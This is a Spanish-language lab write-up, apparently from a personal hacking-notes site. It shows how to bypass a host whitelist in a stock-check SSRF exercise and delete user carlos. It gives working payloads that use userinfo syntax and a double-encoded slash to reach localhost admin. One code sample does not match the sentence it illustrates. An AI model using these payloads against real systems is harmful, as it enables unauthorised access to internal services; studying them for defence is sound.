> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/es/web/ssrf/ssrf-with-whitelist-based-filter.md).
# SSRF con filtrado basado en lista blanca
### SSRF con filtro de entrada basado en lista blanca
La función de comprobación de stock envía solicitudes a un sistema interno. / El objetivo es modificar la URL utilizada en la `stockApi` parámetro para acceder a la interfaz de administración ubicada en `HTTP://localhost/admin`, y luego eliminar al usuario **carlos**. / El desarrollador ha implementado una defensa anti-SSRF basada en una **lista blanca de hosts autorizados**, que debe ser eludida.
```javascript
stockApi=http://stock.weliketoshop.net:8080/product/stock/check?productId=1%26storeId=1
```
#### **Análisis del filtro**
La aplicación solo permite solicitudes al siguiente host:
```bash
stockApi=http://127.0.0.1/admin
```
Si cambiamos la URL a `localhost` o a una dirección interna, obtenemos el error:
El host externo de comprobación de stock debe ser stock.weliketoshop.net
#### **Eludir la lista blanca**
La idea es usar la `username:password@host` sintaxis en las URL. / Este método nos permite **hacer que el host validado por la lista blanca aparezca en la parte de "authority"** de la URL, mientras en realidad dirige la solicitud a `localhost`.
```bash
http://username:password@website.com
```
Carga útil utilizada:
```bash
stockApi=http://localhost:80%252f@stock.weliketoshop.net:8080
```
Con `/` (`%252f`) doble codificación, el servidor interpreta correctamente la parte redirigida a `localhost`.
Esto permite acceder al panel de administración interno.
#### **Eliminación del usuario Carlos**
Una vez que el bypass funciona, la URL de eliminación se llama directamente:
{% code overflow="wrap" %}
```bash
stockApi=http://localhost:80%252f@stock.weliketoshop.net:8080/admin?delete=username=carlos
```
{% endcode %}
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